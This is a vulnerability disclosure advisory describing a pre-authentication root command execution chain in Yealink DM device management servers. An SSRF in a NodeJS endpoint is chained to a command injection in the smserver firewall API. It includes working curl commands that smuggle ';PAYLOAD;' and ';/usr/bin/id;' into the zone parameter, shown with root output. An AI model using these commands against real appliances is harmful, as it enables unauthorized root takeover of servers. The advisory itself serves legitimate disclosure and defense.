SSD Advisory – Yealink DM Pre Auth ‘root’ level RCE

TL;DR

Find out how multiple vulnerabilities in Yealink DM (Device Management) allow an unauthenticated attacker to run arbitrary commands on the server with root privileges.

Vulnerability Summary

Yealink DM (Device Management) platform – “offers a comprehensive management solution with key features Unified Deployment and Management, Real-Time Monitoring and Alarm, Remote Troubleshooting.”

Several vulnerabilities in the Yealink DM server allow remote unauthenticated attackers to cause the server to execute arbitrary commands due to the fact that user provided data is not properly filtered.

CVE

CVE-2021-27561 and CVE-2021-27562

Credit

Two independent security researchers, Pierre Kim and Alexandre Torres, have reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

Yealink DM version 3.6.0.20 and prior

Vendor Response

“For the YDMP new version release,  we don’t send a notification to the public, since we don’t force the customer to upgrade.

We will release a new version and upload the installation file to the official Yealink website and update the release note as well.

The update will be ready to download from our website in early 2021″

Vulnerability Analysis

By chaining a pre-auth SSRF vulnerability and a command injection vulnerability, it is possible to execute commands as root without authentication against this product, by sending a simple HTTPS request to the remote target.

Nginx configuration

By default, Nginx listens on port 443/tcp to provide TLS connectivity:

# netstat -nlapute|grep 443 tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 0 16290 1180/nginx: master

By analysing the configuration of Nginx, it appears Nginx acts as a reverse proxy and the traffic to / is sent to 127.0.0.1:9880/tcp:

# cat /usr/local/yealink/nginx/conf/http.conf.d/yealink.conf
[...]
upstream server_frontend_manager {
    server manager-master:9880 weight=1 max_fails=5 fail_timeout=10s;
}
[...]
location / {
    proxy_pass https://server_frontend_manager;
}

Nginx will be used to send a specific request to a vulnerable NodeJS application.

NodeJS acting as a relay

The NodeJS dmweb application is running as yealink on 127.0.0.1:9880/tcp:

# netstat -lapute | grep 9880
tcp        0      0 0.0.0.0:9880            0.0.0.0:*               LISTEN      yealink    21200      2789/node

# ps -auxww | grep 2789
yealink   2789  0.4  0.3 1306416 53172 ?       Ssl  05:31   0:02 /usr/local/yealink/nodejs/bin/node /usr/local/yealink/dmweb/app.js

The /usr/local/yealink/dmweb/app.js program is running on the loopback interface but is reachable from Nginx.

Analysis of /usr/local/yealink/dmweb/app.js

This application is a nodejs application with some dependencies. The interesting code is located in /usr/local/yealink/dmweb/api/index.js

     17 module.exports = app => {
     18     app.use('/premise', router);
     19 };

    [...]

    217 router.get('/front/getPingData', (req, res) => {
    218     // res.send({"ret":1,"data":"PING www.baidu.com (14.215.177.38): 56 data bytes\n64 bytes from 14.215.177.38: seq=0 ttl=54 time=15.084 ms\n64 bytes from 14.215.177.38: seq=1 ttl=54 time=15.888 ms\n64 bytes from 14.215.177.38: seq=2 ttl=54 time=15.742 ms\n64 bytes from 14.215.177.38: seq=3 ttl=54 time=15.622         ms\n64 bytes from 14.215.177.38: seq=4 ttl=54 time=16.384 ms\n\n--- www.baidu.com ping statistics ---\n5 packets transmitted, 5 packets received, 0% packet loss\nround-trip min/avg/max = 15.084/15.744/16.384 ms\n","error":null})
    219     // return;
    220     try {
    221         let url = req.query.url;
    222         // ��telnet�����pos���ping�trace����������端�����pos��以�并�pos传��
    223         let pos = req.query.pos;
    224         console.log(`url===${url}`);
    225         let headers = {
    226             'Content-Type': 'application/json',
    227             'User-Agent': req.headers['user-agent'],
    228             'x-forwarded-for': commom.getClientIP(req),
    229             token: req.session.token
    230         };
    231         request.get({
    232             url: url,
    233             headers: headers,
    234             timeout: 60000,
    235             qs: {
    236                 pos: pos
    237             }
    238         }).pipe(res);
    239     } catch (e) {
    240         console.error(e);
    241         res.send(
    242             errcode.MakeResult(
    243                 errcode.ERR,
    244                 e,
    245                 errcode.INTERNAL_ERROR,
    246                 'server.common.internal.error'
    247             )
    248         );
    249     }
    250 });

One line 17, there is a route defined for /premise, allowing to reach additional APIs.

On line 217, there is a definition for the API /premise/front/getPingData.

This function is vulnerable to SSRF:From line 217, it appears it is possible to send a HTTP request by defining an URL in GET (on line 232 from the value defined on line 221 from req.query.url) with specific headers (line 233, from value provided on line 227) and a new HTTP/HTTPS request will then be sent to the remote attacker-controlled URL.

PoC is:

curl -v --insecure "https://[target]/premise/front/getPingData?url=http://url/"

This is a basic pre-authenticated SSRF vulnerability allowing to reach internal daemons.

smserver daemon running as root on 0.0.0.0:9600/tcp

By default, the program smserver runs as root on 0.0.0.0:9600/tcp but firewall rules don’t allow external connections to this daemon.

# netstat -laputen|grep 9600
tcp        0      0 0.0.0.0:9600            0.0.0.0:*               LISTEN      0          19775      1244/smserver

# ps -auxww|grep smserver
root      1244  1.6  0.2 1166932 34160 ?       SNl  05:28   0:26 /usr/local/yealink/smserver/bin/smserver -nc -run /var/run/yealink/smserver

smserver is a HTTP server. The previously found SSRF provided by the NodeJS server will provide a relay to send requests to the smserver as shown below:

kali$ curl --insecure "https://192.168.23.105/premise/front/getPingData?url=http://0.0.0.0:9600/"
{"reason":{"module":"SmServer", "cause":404, "text":"URL NOT FOUND"}}

By reversing this binary, we found a command injection in the fw_restful_service_get() function located in the module /usr/local/yealink/smserver/mod/mod_firewall.so:

In the function fw_restful_service_get(), the value for the GET variable zone is retrieved by the function fw_restful_get_arg_by_key() on line 16, then there is a construction of arguments on line 22 using snprintf(3).

Finally there is a call to fw_do_cmd() with the crafted command on line 27.

The fw_do_cmd() is just a wrapper to popen(3).

To reach this API, we need to send this HTTP request:

https://127.0.0.1:9600/sm/api/v1/firewall/zone/services?zone=;PAYLOAD;

The resulting command running as root will be:

# firewall-cmd --zone=;PAYLOAD; --list-services

Construction of the final exploit

The final path of exploitation is:

Nginx -> NodeJS -> smserver

By combining the SSRF and the injection, the final exploit is:

kali $ curl --insecure "https://192.168.23.105/premise/front/getPingData?url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/services?zone=;PAYLOAD;"

;PAYLOAD; will be executed as root without authentication on the target.

Example with /usr/bin/id:

kali $ curl --insecure "https://192.168.23.105/premise/front/getPingData?url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/services?zone=;/usr/bin/id;"
{"list":["uid=0(root)","gid=0(root)","groups=0(root)","context=system_u:system_r:unconfined_service_t:s0"]}

The command was executed as root on the appliance without authentication.

Demo

Interested in Remote Code Execution? You may be interested in these:

Looking to submit a Remote Code Execution vulnerability?

Talk to us!